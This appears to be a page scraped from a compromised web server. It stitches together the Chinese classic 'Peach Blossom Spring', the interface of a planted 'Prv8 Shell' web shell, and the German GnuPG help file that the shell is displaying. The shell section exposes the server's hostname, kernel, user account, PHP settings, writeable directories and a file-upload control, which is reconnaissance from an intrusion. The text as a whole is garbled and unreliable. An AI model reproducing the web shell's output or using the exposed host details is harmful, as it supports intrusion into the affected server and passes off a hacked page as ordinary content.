晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/gnupg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/gnupg/help.de.txt
# help.de.txt - German GnuPG online help
# Copyright (C) 2007 Free Software Foundation, Inc.
#
# This file is part of GnuPG.
#
# GnuPG is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# GnuPG is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see <https://www.gnu.org/licenses/>.


# Die Datei help.txt beschreibt das verwendete Format.
# Diese Datei muß UTF-8 kodiert sein.


.#pinentry.qualitybar.tooltip
# Dies ist lediglich eine kommentiertes Beispiel.  Es ist am sinnvolssten
# einen individuellen Text in /etc/gnupg/help.de.txt zu erstellen.
Die Qualität der Passphrase, die Sie oben eingegeben haben.  Bitte
fragen sie Ihren Systembeauftragten nach den Kriterien für die Messung
der Qualität.
.




.gpg.edit_ownertrust.value
Sie müssen selbst entscheiden, welchen Wert Sie hier eintragen; dieser Wert
wird niemals an eine dritte Seite weitergegeben.  Wir brauchen diesen Wert,
um das "Netz des Vertrauens" aufzubauen.  Dieses hat nichts mit dem
(implizit erzeugten) "Netz der Zertifikate" zu tun.
.

.gpg.edit_ownertrust.set_ultimate.okay
Um das Web-of-Trust aufzubauen muß GnuPG wissen, welchen Schlüsseln
ultimativ vertraut wird. Das sind üblicherweise die Schlüssel
auf deren geheimen Schlüssel Sie Zugruff haben.
Antworten Sie mit "yes" um diesen Schlüssel ultimativ zu vertrauen

.

.gpg.untrusted_key.override
Wenn Sie diesen nicht vertrauenswürdigen Schlüssel trotzdem benutzen wollen,
so antworten Sie mit "ja".
.

.gpg.pklist.user_id.enter
Geben Sie die User-ID dessen ein, dem Sie die Botschaft senden wollen.
.

.gpg.keygen.algo
Wählen Sie das zu verwendene Verfahren.

DSA (alias DSS) ist der "Digital Signature Algorithm" und kann nur für
Unterschriften genutzt werden.

Elgamal ist ein Verfahren nur für Verschlüsselung.

RSA kann sowohl für Unterschriften als auch für Verschlüsselung genutzt
werden.

Der erste Schlüssel (Hauptschlüssel) muß immer ein Schlüssel sein, mit dem
unterschrieben werden kann.
.

.gpg.keygen.algo.rsa_se
Normalerweise ist es nicht gut, denselben Schlüssel zum unterschreiben
und verschlüsseln zu nutzen.  Dieses Verfahren sollte in speziellen
Anwendungsgebiten benutzt werden.  Bitte lassen Sie sich zuerst von
einem Sicherheistexperten beraten.
.

.gpg.keygen.size
Wählen Sie die gewünschte Schlüssellänge
.

.gpg.keygen.size.huge.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.keygen.size.large.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.keygen.valid
Geben Sie den benötigten Wert so an, wie er im Prompt erscheint.
Es ist zwar möglich ein "ISO"-Datum (JJJJ-MM-DD) einzugeben, aber man
erhält dann ggfs. keine brauchbaren Fehlermeldungen - stattdessen versucht
der Rechner den Wert als Intervall (von-bis) zu deuten.
.

.gpg.keygen.valid.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.keygen.name
Geben Sie den Namen des Schlüsselinhabers ein.
Beispiel: Heinrich Heine.
.

.gpg.keygen.email
Geben Sie eine Email-Adresse ein. Dies ist zwar nicht unbedingt notwendig,
aber sehr empfehlenswert.
Beispiel: heinrichh@duesseldorf.de
.

.gpg.keygen.comment
Geben Sie - bei Bedarf - einen Kommentar ein.
.

.gpg.keygen.userid.cmd
N  um den Namen zu ändern.
K  um den Kommentar zu ändern.
E  um die Email-Adresse zu ändern.
F  um mit der Schlüsselerzeugung fortzusetzen.
B  um die Schlüsselerzeugung abbrechen.
.

.gpg.keygen.sub.okay
Geben Sie "ja" (oder nur "j") ein, um den Unterschlüssel zu erzeugen.
.

.gpg.sign_uid.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.sign_uid.class
Wenn Sie die User-ID eines Schlüssels beglaubigen wollen, sollten Sie zunächst
sicherstellen, daß der Schlüssel demjenigen gehört, der in der User-ID genannt
ist. Für Dritte ist es hilfreich zu wissen, wie gut diese Zuordnung überprüft
wurde.

"0" zeigt, daß Sie keine bestimmte Aussage über die Sorgfalt der
    Schlüsselzuordnung machen.

"1" Sie glauben, daß der Schlüssel der benannten Person gehört,
    aber Sie konnten oder nahmen die Überpüfung überhaupt nicht vor.
    Dies ist hilfreich für eine "persona"-Überprüfung, wobei man den
    Schlüssel eines Pseudonym-Trägers beglaubigt

"2" Sie nahmen eine flüchtige Überprüfung vor. Das heißt Sie haben z.B.
    den Schlüsselfingerabdruck kontrolliert und die User-ID des Schlüssels
    anhand des Fotos geprüft.

"3" Sie haben eine ausführlich Kontrolle des Schlüssels vorgenommen.
    Das kann z.B. die Kontrolle des Schlüsselfingerabdrucks mit dem
    Schlüsselinhaber persönlich vorgenommen haben; daß Sie die User-ID des
    Schlüssel anhand einer schwer zu fälschenden Urkunde mit Foto (wie z.B.
    einem Paß) abgeglichen haben und schließlich per Email-Verkehr die
    Email-Adresse als zum Schlüsselbesitzer gehörig erkannt haben.

Beachten Sie, daß diese Beispiele für die Antworten 2 und 3 *nur* Beispiele
sind.  Schlußendlich ist es Ihre Sache, was Sie unter "flüchtig" oder
 "ausführlich" verstehen, wenn Sie Schlüssel Dritter beglaubigen.

Wenn Sie nicht wissen, wie Sie antworten sollen, wählen Sie "0".
.

.gpg.change_passwd.empty.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.keyedit.save.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.keyedit.cancel.okay
Geben Sie "ja" oder "nein" ein
.

.gpg.keyedit.sign_all.okay
Geben Sie "ja" (oder nur "j") ein, um alle User-IDs zu beglaubigen
.

.gpg.keyedit.remove.uid.okay
Geben Sie "ja" (oder nur "j") ein, um diese User-ID zu LÖSCHEN.
Alle Zertifikate werden dann auch weg sein!
.

.gpg.keyedit.remove.subkey.okay
Geben Sie "ja" (oder nur "j") ein, um diesen Unterschlüssel zu löschen
.

.gpg.keyedit.delsig.valid
Dies ist eine gültige Beglaubigung für den Schlüssel. Es ist normalerweise
unnötig sie zu löschen. Sie ist möglicherweise sogar notwendig, um einen
Trust-Weg zu diesem oder einem durch diesen Schlüssel beglaubigten Schlüssel
herzustellen.
.

.gpg.keyedit.delsig.unknown
Diese Beglaubigung kann nicht geprüft werden, da Sie den passenden Schlüssel
nicht besitzen. Sie sollten die Löschung der Beglaubigung verschieben, bis
sie wissen, welcher Schlüssel verwendet wurde. Denn vielleicht würde genau
diese Beglaubigung den "Trust"-Weg komplettieren.
.

.gpg.keyedit.delsig.invalid
Diese Beglaubigung ist ungültig. Es ist sinnvoll sie aus Ihrem
Schlüsselbund zu entfernen.
.

.gpg.keyedit.delsig.selfsig
Diese Beglaubigung bindet die User-ID an den Schlüssel. Normalerweise ist
es nicht gut, solche Beglaubigungen zu entfernen. Um ehrlich zu sein:
Es könnte dann sein, daß GnuPG diesen Schlüssel gar nicht mehr benutzen kann.
Sie sollten diese Eigenbeglaubigung also nur dann entfernen, wenn sie aus
irgendeinem Grund nicht gültig ist und eine zweite Beglaubigung verfügbar ist.
.

.gpg.keyedit.updpref.okay
Ändern der Voreinstellung aller User-IDs (oder nur der ausgewählten)
auf die aktuelle Liste der Voreinstellung. Die Zeitangaben aller betroffenen
Eigenbeglaubigungen werden um eine Sekunde vorgestellt.

.

.gpg.passphrase.enter
Bitte geben Sie die Passphrase ein. Dies ist ein geheimer Satz

.

.gpg.passphrase.repeat
Um sicher zu gehen, daß Sie sich bei der Eingabe der Passphrase nicht
vertippt haben, geben Sie diese bitte nochmal ein.  Nur wenn beide Eingaben
übereinstimmen, wird die Passphrase akzeptiert.
.

.gpg.detached_signature.filename
Geben Sie den Namen der Datei an, zu dem die abgetrennte Unterschrift gehört
.

.gpg.openfile.overwrite.okay
Geben Sie "ja" ein, wenn Sie die Datei überschreiben möchten
.

.gpg.openfile.askoutname
Geben Sie bitte einen neuen Dateinamen ein. Falls Sie nur die
Eingabetaste betätigen, wird der (in Klammern angezeigte) Standarddateiname
verwendet.
.

.gpg.ask_revocation_reason.code
Sie sollten einen Grund für die Zertifizierung angeben. Je nach
Zusammenhang können Sie aus dieser Liste auswählen:
  "Schlüssel wurde kompromitiert"
      Falls Sie Grund zu der Annahme haben, daß nicht berechtigte Personen
      Zugriff zu Ihrem geheimen Schlüssel hatten
  "Schlüssel ist überholt"
      Falls Sie diesen Schlüssel durch einem neuen ersetzt haben.
  "Schlüssel wird nicht mehr benutzt"
      Falls Sie diesen Schlüssel zurückgezogen haben.
  "User-ID ist nicht mehr gültig"
      Um bekanntzugeben, daß die User-ID nicht mehr benutzt werden soll.
      So weist man normalerweise auf eine ungültige Emailadresse hin.

.

.gpg.ask_revocation_reason.text
Wenn Sie möchten, können Sie hier einen Text eingeben, der darlegt, warum
Sie diesen Widerruf herausgeben.  Der Text sollte möglichst knapp sein.
Eine Leerzeile beendet die Eingabe.

.



# Local variables:
# mode: default-generic
# coding: utf-8
# End:

haha - 2025